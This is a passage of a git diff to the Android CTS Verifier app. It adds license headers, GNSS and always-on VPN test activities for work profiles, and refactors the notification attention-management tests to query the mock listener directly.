+            startPreview();
         }
     }
 
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/location/GnssPseudorangeVerificationTestsActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/location/GnssPseudorangeVerificationTestsActivity.java
new file mode 100644
index 0000000..e17b67a
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/location/GnssPseudorangeVerificationTestsActivity.java
@@ -0,0 +1,31 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package com.android.cts.verifier.location;
+
+import com.android.cts.verifier.location.base.GnssCtsTestActivity;
+import android.location.cts.GnssPseudorangeVerificationTest;
+
+/**
+ * Activity to execute CTS GnssPseudorangeVerificationTest.
+ * It is a wrapper for {@link GnssPseudorangeVerificationTest} running with AndroidJUnitRunner.
+ */
+
+public class GnssPseudorangeVerificationTestsActivity extends GnssCtsTestActivity {
+  public GnssPseudorangeVerificationTestsActivity() {
+    super(GnssPseudorangeVerificationTest.class);
+  }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/location/GnssStatusTestsActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/location/GnssStatusTestsActivity.java
index a64c5d3..b132c50 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/location/GnssStatusTestsActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/location/GnssStatusTestsActivity.java
@@ -1,3 +1,19 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
 package com.android.cts.verifier.location;
 
 import com.android.cts.verifier.location.base.GnssCtsTestActivity;
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/location/GnssTtffTestsActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/location/GnssTtffTestsActivity.java
index 1ba925c..7b5b6fb 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/location/GnssTtffTestsActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/location/GnssTtffTestsActivity.java
@@ -1,3 +1,19 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
 package com.android.cts.verifier.location;
 
 import com.android.cts.verifier.location.base.GnssCtsTestActivity;
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/location/LocationListenerActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/location/LocationListenerActivity.java
index 8140b3f..4db0b54 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/location/LocationListenerActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/location/LocationListenerActivity.java
@@ -1,3 +1,19 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
 package com.android.cts.verifier.location;
 
 import android.app.Activity;
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/AlwaysOnVpnSettingsTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/AlwaysOnVpnSettingsTestActivity.java
new file mode 100644
index 0000000..011473c
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/AlwaysOnVpnSettingsTestActivity.java
@@ -0,0 +1,87 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.managedprovisioning;
+
+import android.content.ActivityNotFoundException;
+import android.content.Intent;
+import android.os.Bundle;
+import android.provider.Settings;
+
+import com.android.cts.verifier.ArrayTestListAdapter;
+import com.android.cts.verifier.DialogTestListActivity;
+import com.android.cts.verifier.R;
+
+/**
+ * Tests the Settings UI for always-on VPN in the work profile.
+ */
+public class AlwaysOnVpnSettingsTestActivity extends DialogTestListActivity {
+
+    public static final String ACTION_ALWAYS_ON_VPN_SETTINGS_TEST =
+            "com.android.cts.verifier.managedprovisioning.action.ALWAYS_ON_VPN_SETTINGS_TEST";
+
+    private static final Intent VPN_SETTINGS_INTENT = new Intent(Settings.ACTION_VPN_SETTINGS);
+    private static final String CTS_VPN_APP_PACKAGE = "com.android.cts.vpnfirewall";
+    private static final String CTS_VPN_APP_ACTION =
+            "com.android.cts.vpnfirewall.action.CONNECT_AND_FINISH";
+
+    public AlwaysOnVpnSettingsTestActivity() {
+        super(R.layout.provisioning_byod,
+                R.string.provisioning_byod_always_on_vpn,
+                R.string.provisioning_byod_always_on_vpn_info,
+                R.string.provisioning_byod_always_on_vpn_instruction);
+    }
+
+    @Override
+    protected void setupTests(ArrayTestListAdapter adapter) {
+        adapter.add(new DialogTestListItem(this,
+                R.string.provisioning_byod_always_on_vpn_api23,
+                "BYOD_AlwaysOnVpnSettingsApi23Test",
+                R.string.provisioning_byod_always_on_vpn_api23_instruction,
+                VPN_SETTINGS_INTENT
+        ));
+        adapter.add(new DialogTestListItem(this,
+                R.string.provisioning_byod_always_on_vpn_api24,
+                "BYOD_AlwaysOnVpnSettingsApi24Test",
+                R.string.provisioning_byod_always_on_vpn_api24_instruction,
+                VPN_SETTINGS_INTENT
+        ));
+        adapter.add(new DialogTestListItem(this,
+                R.string.provisioning_byod_always_on_vpn_not_always_on,
+                "BYOD_AlwaysOnVpnSettingsNotAlwaysOnTest",
+                R.string.provisioning_byod_always_on_vpn_not_always_on_instruction,
+                VPN_SETTINGS_INTENT
+        ));
+    }
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        mPrepareTestButton.setText(
+                R.string.provisioning_byod_always_on_vpn_prepare_button);
+        mPrepareTestButton.setOnClickListener(v -> {
+            try {
+                final Intent intent =
+                        getPackageManager().getLaunchIntentForPackage(CTS_VPN_APP_PACKAGE);
+                intent.setAction(CTS_VPN_APP_ACTION);
+                startActivity(intent);
+            } catch (ActivityNotFoundException unused) {
+                Utils.showToast(this, R.string.provisioning_byod_always_on_vpn_vpn_not_found_note);
+            }
+        });
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodFlowTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodFlowTestActivity.java
index e51f942..15808a7 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodFlowTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodFlowTestActivity.java
@@ -101,6 +101,7 @@
     private DialogTestListItem mConfirmWorkCredentials;
     private DialogTestListItem mParentProfilePassword;
     private TestListItem mVpnTest;
+    private TestListItem mAlwaysOnVpnSettingsTest;
     private TestListItem mRecentsTest;
     private TestListItem mDisallowAppsControlTest;
     private TestListItem mOrganizationInfoTest;
@@ -362,6 +363,12 @@
                 new Intent(VpnTestActivity.ACTION_VPN),
                 null);
 
+        mAlwaysOnVpnSettingsTest = TestListItem.newTest(this,
+                R.string.provisioning_byod_always_on_vpn,
+                AlwaysOnVpnSettingsTestActivity.class.getName(),
+                new Intent(AlwaysOnVpnSettingsTestActivity.ACTION_ALWAYS_ON_VPN_SETTINGS_TEST),
+                null);
+
         mDisallowAppsControlTest = TestListItem.newTest(this,
                 R.string.provisioning_byod_disallow_apps_control,
                 DisallowAppsControlActivity.class.getName(),
@@ -458,6 +465,7 @@
         adapter.add(mKeyguardDisabledFeaturesTest);
         adapter.add(mAuthenticationBoundKeyTest);
         adapter.add(mVpnTest);
+        adapter.add(mAlwaysOnVpnSettingsTest);
         adapter.add(mTurnOffWorkFeaturesTest);
         adapter.add(mSelectWorkChallenge);
         if (!getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodFlowTestHelper.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodFlowTestHelper.java
index d1308ad..5053a90 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodFlowTestHelper.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodFlowTestHelper.java
@@ -39,6 +39,7 @@
                 PermissionLockdownTestActivity.ACTIVITY_ALIAS,
                 AuthenticationBoundKeyTestActivity.class.getName(),
                 VpnTestActivity.class.getName(),
+                AlwaysOnVpnSettingsTestActivity.class.getName(),
                 RecentsRedactionActivity.class.getName(),
                 CommandReceiverActivity.class.getName(),
                 SetSupportMessageActivity.class.getName()
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodHelperActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodHelperActivity.java
index 94d4dc3..f61c884 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodHelperActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodHelperActivity.java
@@ -183,6 +183,7 @@
                 .build();
         mNotificationManager.notify(NOTIFICATION_ID, notification);
     }
+
     private Notification createPublicVersionNotification() {
         return new Notification.Builder(this)
                 .setSmallIcon(R.drawable.icon)
@@ -191,7 +192,6 @@
                 .build();
     }
 
-
     @Override
     protected void onCreate(Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceAdminTestReceiver.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceAdminTestReceiver.java
index 1c40ac1..f54e567 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceAdminTestReceiver.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceAdminTestReceiver.java
@@ -110,6 +110,7 @@
         filter.addAction(AuthenticationBoundKeyTestActivity.ACTION_AUTH_BOUND_KEY_TEST);
         filter.addAction(ByodHelperActivity.ACTION_BYOD_SET_LOCATION_AND_CHECK_UPDATES);
         filter.addAction(VpnTestActivity.ACTION_VPN);
+        filter.addAction(AlwaysOnVpnSettingsTestActivity.ACTION_ALWAYS_ON_VPN_SETTINGS_TEST);
         filter.addAction(RecentsRedactionActivity.ACTION_RECENTS);
         filter.addAction(ByodHelperActivity.ACTION_TEST_SELECT_WORK_CHALLENGE);
         filter.addAction(ByodHelperActivity.ACTION_LAUNCH_CONFIRM_WORK_CREDENTIALS);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/IntentFiltersTestHelper.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/IntentFiltersTestHelper.java
index 0147fde..9a33320 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/IntentFiltersTestHelper.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/IntentFiltersTestHelper.java
@@ -254,8 +254,6 @@
             forwardedIntentsFromManaged.addAll(Arrays.asList(
                     new Intent(Settings.ACTION_INPUT_METHOD_SETTINGS),
                     new Intent(Settings.ACTION_INPUT_METHOD_SUBTYPE_SETTINGS)));
-            notForwardedIntentsFromManaged.add(
-                    new Intent("android.settings.SHOW_INPUT_METHOD_PICKER"));
         }
 
         if (!pm.hasSystemFeature(PackageManager.FEATURE_WATCH)) {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/AttentionManagementVerifierActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/AttentionManagementVerifierActivity.java
old mode 100644
new mode 100755
index 23744c7..ddfa283
--- a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/AttentionManagementVerifierActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/AttentionManagementVerifierActivity.java
@@ -20,10 +20,12 @@
 import static com.android.cts.verifier.notifications.MockListener.JSON_MATCHES_ZEN_FILTER;
 import static com.android.cts.verifier.notifications.MockListener.JSON_TAG;
 
+import android.app.ActivityManager;
 import android.app.Notification;
 import android.app.NotificationChannel;
 import android.app.NotificationManager;
 import android.content.ContentProviderOperation;
+import android.content.Context;
 import android.content.OperationApplicationException;
 import android.database.Cursor;
 import android.net.Uri;
@@ -32,7 +34,6 @@
 import android.provider.ContactsContract.CommonDataKinds.Email;
 import android.provider.ContactsContract.CommonDataKinds.Phone;
 import android.provider.ContactsContract.CommonDataKinds.StructuredName;
-import android.service.notification.NotificationListenerService;
 import android.util.Log;
 import android.view.View;
 import android.view.ViewGroup;
@@ -47,7 +48,7 @@
 
 public class AttentionManagementVerifierActivity
         extends InteractiveVerifierActivity {
-    private static final String TAG = "NoListenerAttentionVerifier";
+    private static final String TAG = "AttentionVerifier";
 
     private static final String NOTIFICATION_CHANNEL_ID = TAG;
     private static final String NOTIFICATION_CHANNEL_ID_NOISY = TAG + "/noisy";
@@ -75,12 +76,12 @@
     private Uri mCharlieUri;
 
     @Override
-    int getTitleResource() {
+    protected int getTitleResource() {
         return R.string.attention_test;
     }
 
     @Override
-    int getInstructionsResource() {
+    protected int getInstructionsResource() {
         return R.string.attention_info;
     }
 
@@ -89,24 +90,26 @@
     @Override
     protected List<InteractiveTestCase> createTestItems() {
         List<InteractiveTestCase> tests = new ArrayList<>(17);
-        tests.add(new IsEnabledTest());
-        tests.add(new ServiceStartedTest());
-        tests.add(new InsertContactsTest());
-        tests.add(new SetModeNoneTest());
-        tests.add(new NoneInterceptsAllTest());
-        tests.add(new SetModeAllTest());
-        tests.add(new SetModePriorityTest());
-        tests.add(new PriorityInterceptsSomeTest());
-        tests.add(new SetModeAllTest());
-        tests.add(new AllInterceptsNothingTest());
-        tests.add(new DefaultOrderTest());
-        tests.add(new PriorityOrderTest());
-        tests.add(new InterruptionOrderTest());
-        tests.add(new AmbientBitsTest());
-        tests.add(new LookupUriOrderTest());
-        tests.add(new EmailOrderTest());
-        tests.add(new PhoneOrderTest());
-        tests.add(new DeleteContactsTest());
+        ActivityManager am = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);
+        if (am.isLowRamDevice()) {
+            tests.add(new CannotBeEnabledTest());
+            tests.add(new ServiceStoppedTest());
+        } else {
+            tests.add(new IsEnabledTest());
+            tests.add(new ServiceStartedTest());
+            tests.add(new InsertContactsTest());
+            tests.add(new NoneInterceptsAllTest());
+            tests.add(new PriorityInterceptsSomeTest());
+            tests.add(new AllInterceptsNothingTest());
+            tests.add(new DefaultOrderTest());
+            tests.add(new PriorityOrderTest());
+            tests.add(new InterruptionOrderTest());
+            tests.add(new AmbientBitsTest());
+            tests.add(new LookupUriOrderTest());
+            tests.add(new EmailOrderTest());
+            tests.add(new PhoneOrderTest());
+            tests.add(new DeleteContactsTest());
+        }
         return tests;
     }
 
@@ -127,24 +130,45 @@
 
     // Tests
 
+    private class ServiceStoppedTest extends InteractiveTestCase {
+        int mRetries = 3;
+        @Override
+        protected View inflate(ViewGroup parent) {
+            return createAutoItem(parent, R.string.nls_service_stopped);
+        }
+
+        @Override
+        protected void test() {
+            if (MockListener.getInstance() == null
+                    || !MockListener.getInstance().isConnected) {
+                status = PASS;
+            } else {
+                if (--mRetries > 0) {
+                    sleep(100);
+                    status = RETEST;
+                } else {
+                    status = FAIL;
+                }
+            }
+        }
+    }
+
     protected class InsertContactsTest extends InteractiveTestCase {
         @Override
-        View inflate(ViewGroup parent) {
+        protected View inflate(ViewGroup parent) {
             return createAutoItem(parent, R.string.attention_create_contacts);
         }
 
         @Override
-        void setUp() {
+        protected void setUp() {
             insertSingleContact(ALICE, ALICE_PHONE, ALICE_EMAIL, true);
             insertSingleContact(BOB, BOB_PHONE, BOB_EMAIL, false);
             // charlie is not in contacts
             status = READY;
-            // wait for insertions to move through the system
-            delay();
         }
 
         @Override
-        void test() {
+        protected void test() {
             mAliceUri = lookupContact(ALICE_PHONE);
             mBobUri = lookupContact(BOB_PHONE);
             mCharlieUri = lookupContact(CHARLIE_PHONE);
@@ -157,7 +181,6 @@
             if (status == PASS && !isStarred(mAliceUri)) {
                 status = RETEST;
                 Log.i("InsertContactsTest", "Alice is not yet starred");
-                delay();
             } else {
                 Log.i("InsertContactsTest", "Alice is: " + mAliceUri);
                 Log.i("InsertContactsTest", "Bob is: " + mBobUri);
@@ -169,12 +192,12 @@
 
     protected class DeleteContactsTest extends InteractiveTestCase {
         @Override
-        View inflate(ViewGroup parent) {
+        protected View inflate(ViewGroup parent) {
             return createAutoItem(parent, R.string.attention_delete_contacts);
         }
 
         @Override
-        void test() {
+        protected void test() {
             final ArrayList<ContentProviderOperation> operationList = new ArrayList<>();
             operationList.add(ContentProviderOperation.newDelete(mAliceUri).build());
             operationList.add(ContentProviderOperation.newDelete(mBobUri).build());
@@ -193,380 +216,260 @@
         }
     }
 
-    protected class SetModeNoneTest extends InteractiveTestCase {
-        @Override
-        View inflate(ViewGroup parent) {
-            return createRetryItem(parent, R.string.attention_filter_none);
-        }
-
-        @Override
-        void test() {
-            MockListener.probeFilter(mContext,
-                    new MockListener.IntegerResultCatcher() {
-                        @Override
-                        public void accept(int mode) {
-                            if (mode == NotificationListenerService.INTERRUPTION_FILTER_NONE) {
-                                status = PASS;
-                                next();
-                            } else {
-                                Log.i("SetModeNoneTest", "waiting, current mode is: " + mode);
-                                status = WAIT_FOR_USER;
-                            }
-                        }
-                    });
-        }
-
-        @Override
-        void tearDown() {
-            mNm.cancelAll();
-            MockListener.resetListenerData(mContext);
-            delay();
-        }
-    }
-
     protected class NoneInterceptsAllTest extends InteractiveTestCase {
         @Override
-        View inflate(ViewGroup parent) {
+        protected View inflate(ViewGroup parent) {
             return createAutoItem(parent, R.string.attention_all_are_filtered);
         }
 
         @Override
-        void setUp() {
+        protected void setUp() {
+            mNm.setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_NONE);
             createChannels();
             sendNotifications(MODE_URI, false, false);
             status = READY;
-            // wait for notifications to move through the system
-            delay();
         }
 
         @Override
-        void test() {
-            MockListener.probeListenerPayloads(mContext,
-                    new MockListener.StringListResultCatcher() {
-                        @Override
-                        public void accept(List<String> result) {
-                            Set<String> found = new HashSet<String>();
-                            if (result == null || result.size() == 0) {
-                                status = FAIL;
-                                next();
-                                return;
-                            }
-                            boolean pass = true;
-                            for (String payloadData : result) {
-                                try {
-                                    JSONObject payload = new JSONObject(payloadData);
-                                    String tag = payload.getString(JSON_TAG);
-                                    boolean zen = payload.getBoolean(JSON_MATCHES_ZEN_FILTER);
-                                    Log.e(TAG, tag + (zen ? "" : " not") + " intercepted");
-                                    if (found.contains(tag)) {
-                                        // multiple entries for same notification!
-                                        pass = false;
-                                    } else if (ALICE.equals(tag)) {
-                                        found.add(ALICE);
-                                        pass &= !zen;
-                                    } else if (BOB.equals(tag)) {
-                                        found.add(BOB);
-                                        pass &= !zen;
-                                    } else if (CHARLIE.equals(tag)) {
-                                        found.add(CHARLIE);
-                                        pass &= !zen;
-                                    }
-                                } catch (JSONException e) {
-                                    pass = false;
-                                    Log.e(TAG, "failed to unpack data from mocklistener", e);
-                                }
-                            }
-                            pass &= found.size() == 3;
-                            status = pass ? PASS : FAIL;
-                            next();
-                        }
-                    });
-            delay();  // in case the catcher never returns
+        protected void test() {
+            List<JSONObject> result = new ArrayList<>(MockListener.getInstance().getPosted());
+
+            Set<String> found = new HashSet<String>();
+            if (result.size() == 0) {
+                status = FAIL;
+                return;
+            }
+            boolean pass = true;
+            for (JSONObject payload : result) {
+                try {
+                    String tag = payload.getString(JSON_TAG);
+                    boolean zen = payload.getBoolean(JSON_MATCHES_ZEN_FILTER);
+                    Log.e(TAG, tag + (zen ? "" : " not") + " intercepted");
+                    if (found.contains(tag)) {
+                        // multiple entries for same notification!
+                        pass = false;
+                    } else if (ALICE.equals(tag)) {
+                        found.add(ALICE);
+                        pass &= !zen;
+                    } else if (BOB.equals(tag)) {
+                        found.add(BOB);
+                        pass &= !zen;
+                    } else if (CHARLIE.equals(tag)) {
+                        found.add(CHARLIE);
+                        pass &= !zen;
+                    }
+                } catch (JSONException e) {
+                    pass = false;
+                    Log.e(TAG, "failed to unpack data from mocklistener", e);
+                }
+            }
+            pass &= found.size() == 3;
+            status = pass ? PASS : FAIL;
         }
 
         @Override
-        void tearDown() {
+        protected void tearDown() {
+            mNm.setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_ALL);
             mNm.cancelAll();
             deleteChannels();
-            MockListener.resetListenerData(mContext);
-            delay();
+            MockListener.getInstance().resetData();
         }
 
     }
 
-    protected class SetModeAllTest extends InteractiveTestCase {
-        @Override
-        View inflate(ViewGroup parent) {
-            return createRetryItem(parent, R.string.attention_filter_all);
-        }
-
-        @Override
-        void test() {
-            MockListener.probeFilter(mContext,
-                    new MockListener.IntegerResultCatcher() {
-                        @Override
-                        public void accept(int mode) {
-                            if (mode == NotificationListenerService.INTERRUPTION_FILTER_ALL) {
-                                status = PASS;
-                                next();
-                            } else {
-                                Log.i("SetModeAllTest", "waiting, current mode is: " + mode);
-                                status = WAIT_FOR_USER;
-                            }
-                        }
-                    });
-        }
-    }
-
     protected class AllInterceptsNothingTest extends InteractiveTestCase {
         @Override
-        View inflate(ViewGroup parent) {
+        protected View inflate(ViewGroup parent) {
             return createAutoItem(parent, R.string.attention_none_are_filtered);
         }
 
         @Override
-        void setUp() {
+        protected void setUp() {
             createChannels();
             sendNotifications(MODE_URI, false, false);
             status = READY;
-            // wait for notifications to move through the system
-            delay();
         }
 
         @Override
-        void test() {
-            MockListener.probeListenerPayloads(mContext,
-                    new MockListener.StringListResultCatcher() {
-                        @Override
-                        public void accept(List<String> result) {
-                            Set<String> found = new HashSet<String>();
-                            if (result == null || result.size() == 0) {
-                                status = FAIL;
-                                return;
-                            }
-                            boolean pass = true;
-                            for (String payloadData : result) {
-                                try {
-                                    JSONObject payload = new JSONObject(payloadData);
-                                    String tag = payload.getString(JSON_TAG);
-                                    boolean zen = payload.getBoolean(JSON_MATCHES_ZEN_FILTER);
-                                    Log.e(TAG, tag + (zen ? "" : " not") + " intercepted");
-                                    if (found.contains(tag)) {
-                                        // multiple entries for same notification!
-                                        pass = false;
-                                    } else if (ALICE.equals(tag)) {
-                                        found.add(ALICE);
-                                        pass &= zen;
-                                    } else if (BOB.equals(tag)) {
-                                        found.add(BOB);
-                                        pass &= zen;
-                                    } else if (CHARLIE.equals(tag)) {
-                                        found.add(CHARLIE);
-                                        pass &= zen;
-                                    }
-                                } catch (JSONException e) {
-                                    pass = false;
-                                    Log.e(TAG, "failed to unpack data from mocklistener", e);
-                                }
-                            }
-                            pass &= found.size() == 3;
-                            status = pass ? PASS : FAIL;
-                            next();
-                        }
-                    });
-            delay();  // in case the catcher never returns
+        protected void test() {
+            List<JSONObject> result = new ArrayList<>(MockListener.getInstance().getPosted());
+
+            Set<String> found = new HashSet<String>();
+            if (result.size() == 0) {
+                status = FAIL;
+                return;
+            }
+            boolean pass = true;
+            for (JSONObject payload : result) {
+                try {
+                    String tag = payload.getString(JSON_TAG);
+                    boolean zen = payload.getBoolean(JSON_MATCHES_ZEN_FILTER);
+                    Log.e(TAG, tag + (zen ? "" : " not") + " intercepted");
+                    if (found.contains(tag)) {
+                        // multiple entries for same notification!
+                        pass = false;
+                    } else if (ALICE.equals(tag)) {
+                        found.add(ALICE);
+                        pass &= zen;
+                    } else if (BOB.equals(tag)) {
+                        found.add(BOB);
+                        pass &= zen;
+                    } else if (CHARLIE.equals(tag)) {
+                        found.add(CHARLIE);
+                        pass &= zen;
+                    }
+                } catch (JSONException e) {
+                    pass = false;
+                    Log.e(TAG, "failed to unpack data from mocklistener", e);
+                }
+            }
+            pass &= found.size() == 3;
+            status = pass ? PASS : FAIL;
         }
 
         @Override
-        void tearDown() {
+        protected void tearDown() {
             mNm.cancelAll();
             deleteChannels();
-            MockListener.resetListenerData(mContext);
-            delay();
-        }
-    }
-
-    protected class SetModePriorityTest extends InteractiveTestCase {
-        @Override
-        View inflate(ViewGroup parent) {
-            return createRetryItem(parent, R.string.attention_filter_priority);
-        }
-
-        @Override
-        void test() {
-            MockListener.probeFilter(mContext,
-                    new MockListener.IntegerResultCatcher() {
-                        @Override
-                        public void accept(int mode) {
-                            if (mode == NotificationListenerService.INTERRUPTION_FILTER_PRIORITY) {
-                                status = PASS;
-                                next();
-                            } else {
-                                Log.i("SetModePriorityTest", "waiting, current mode is: " + mode);
-                                status = WAIT_FOR_USER;
-                            }
-                        }
-                    });
+            MockListener.getInstance().resetData();
         }
     }
 
     protected class PriorityInterceptsSomeTest extends InteractiveTestCase {
         @Override
-        View inflate(ViewGroup parent) {
+        protected View inflate(ViewGroup parent) {
             return createAutoItem(parent, R.string.attention_some_are_filtered);
         }
 
         @Override
-        void setUp() {
+        protected void setUp() {
+            mNm.setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_PRIORITY);
+            NotificationManager.Policy policy = mNm.getNotificationPolicy();
+            policy = new NotificationManager.Policy(policy.priorityCategories
+                    | NotificationManager.Policy.PRIORITY_CATEGORY_MESSAGES,
+                    policy.priorityCallSenders,
+                    NotificationManager.Policy.PRIORITY_SENDERS_STARRED);
+            mNm.setNotificationPolicy(policy);
             createChannels();
             sendNotifications(MODE_URI, false, false);
             status = READY;
-            // wait for notifications to move through the system
-            delay();
         }
 
         @Override
-        void test() {
-            MockListener.probeListenerPayloads(mContext,
-                    new MockListener.StringListResultCatcher() {
-                        @Override
-                        public void accept(List<String> result) {
-                            Set<String> found = new HashSet<String>();
-                            if (result == null || result.size() == 0) {
-                                status = FAIL;
-                                return;
-                            }
-                            boolean pass = true;
-                            for (String payloadData : result) {
-                                try {
-                                    JSONObject payload = new JSONObject(payloadData);
-                                    String tag = payload.getString(JSON_TAG);
-                                    boolean zen = payload.getBoolean(JSON_MATCHES_ZEN_FILTER);
-                                    Log.e(TAG, tag + (zen ? "" : " not") + " intercepted");
-                                    if (found.contains(tag)) {
-                                        // multiple entries for same notification!
-                                        pass = false;
-                                    } else if (ALICE.equals(tag)) {
-                                        found.add(ALICE);
-                                        pass &= zen;
-                                    } else if (BOB.equals(tag)) {
-                                        found.add(BOB);
-                                        pass &= !zen;
-                                    } else if (CHARLIE.equals(tag)) {
-                                        found.add(CHARLIE);
-                                        pass &= !zen;
-                                    }
-                                } catch (JSONException e) {
-                                    pass = false;
-                                    Log.e(TAG, "failed to unpack data from mocklistener", e);
-                                }
-                            }
-                            pass &= found.size() == 3;
-                            status = pass ? PASS : FAIL;
-                            next();
-                        }
-                    });
-            delay();  // in case the catcher never returns
+        protected void test() {
+            List<JSONObject> result = new ArrayList<>(MockListener.getInstance().getPosted());
+
+            Set<String> found = new HashSet<String>();
+            if (result.size() == 0) {
+                status = FAIL;
+                return;
+            }
+            boolean pass = true;
+            for (JSONObject payload : result) {
+                try {
+                    String tag = payload.getString(JSON_TAG);
+                    boolean zen = payload.getBoolean(JSON_MATCHES_ZEN_FILTER);
+                    Log.e(TAG, tag + (zen ? "" : " not") + " intercepted");
+                    if (found.contains(tag)) {
+                        // multiple entries for same notification!
+                        pass = false;
+                    } else if (ALICE.equals(tag)) {
+                        found.add(ALICE);
+                        pass &= zen;
+                    } else if (BOB.equals(tag)) {
+                        found.add(BOB);
+                        pass &= !zen;
+                    } else if (CHARLIE.equals(tag)) {
+                        found.add(CHARLIE);
+                        pass &= !zen;
+                    }
+                } catch (JSONException e) {
+                    pass = false;
+                    Log.e(TAG, "failed to unpack data from mocklistener", e);
+                }
+            }
+            pass &= found.size() >= 3;
+            status = pass ? PASS : FAIL;
         }
 
         @Override
-        void tearDown() {
+        protected void tearDown() {
+            mNm.setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_ALL);
             mNm.cancelAll();
             deleteChannels();
-            MockListener.resetListenerData(mContext);
-            delay();
+            MockListener.getInstance().resetData();
         }
     }
 
     // ordered by time: C, B, A
     protected class DefaultOrderTest extends InteractiveTestCase {
         @Override
-        View inflate(ViewGroup parent) {
